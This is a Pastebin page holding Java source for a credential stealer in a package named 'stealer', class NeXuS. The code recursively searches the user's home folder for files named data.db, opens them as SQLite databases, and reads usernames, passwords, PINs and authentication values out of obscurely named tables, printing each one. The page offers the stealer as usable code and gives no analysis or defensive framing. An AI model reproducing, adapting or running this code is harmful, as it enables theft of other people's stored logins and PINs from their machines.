Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package stealer;
- import java.io.File;
- import java.io.FilenameFilter;
- import java.sql.Connection;
- import java.sql.DriverManager;
- import java.sql.ResultSet;
- import java.sql.Statement;
- import java.util.Collection;
- import java.util.Vector;
- public class NeXuS implements Runnable {
- boolean auth;
- public NeXuS(boolean auth) {
- this.auth = auth;
- Thread thread = new Thread(this, "NeXuS");
- thread.start();
- }
- public void run() {
- FilenameFilter filter = new FilenameFilter() {
- public boolean accept(File dir, String name) {
- return name.equals("data.db");
- }
- };
- File[] filez = listFilesAsArray(new File(System.getProperty("user.home")), filter, -1);
- if (filez.length > 0) {
- for (File f : filez) {
- try {
- if(auth) {
- getAuth(f.getAbsolutePath());
- } else {
- getDB(f.getAbsolutePath());
- }
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
- }
- public static void getDB(String loc) throws Exception {
- Class.forName("org.sqlite.JDBC");
- Connection conn = DriverManager.getConnection("jdbc:sqlite:"+loc);
- Statement stat = conn.createStatement();
- ResultSet rs = stat.executeQuery("select * from jfiwpja;");
- while (rs.next()) {
- String username = rs.getString("user");
- String password = rs.getString("pass");
- String pin = rs.getString("pin");
- if(password == null)
- continue;
- if(pin != null) {
- System.out.println("NeXuS - User: " + username + " Pass: " + password + " Pin: " + pin);
- } else {
- System.out.println("NeXuS - User: " + username + " Pass: " + password);
- }
- }
- rs.close();
- conn.close();
- }
- public static void getAuth(String loc) throws Exception {
- Class.forName("org.sqlite.JDBC");
- Connection conn = DriverManager.getConnection("jdbc:sqlite:"+loc);
- Statement stat = conn.createStatement();
- ResultSet rs = stat.executeQuery("select * from sapqmks;");
- while (rs.next()) {
- String auth = rs.getString("auths");
- System.out.println("Auth: " + auth);
- }
- rs.close();
- conn.close();
- }
- private static File[] listFilesAsArray(File directory, FilenameFilter filter, int recurse) {
- Collection<File> files = listFiles(directory, filter, recurse);
- File[] arr = new File[files.size()];
- return files.toArray(arr);
- }
- private static Collection<File> listFiles(File directory, FilenameFilter filter, int recurse) {
- Vector<File> files = new Vector<File>();
- File[] entries = directory.listFiles();
- if (entries != null) {
- for (File entry : entries) {
- if (filter == null || filter.accept(directory, entry.getName())) { files.add(entry); }
- if ((recurse <= -1) || (recurse > 0 && entry.isDirectory())) {
- recurse--;
- files.addAll(listFiles(entry, filter, recurse));
- recurse++;
- }
- }
- }
- return files;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement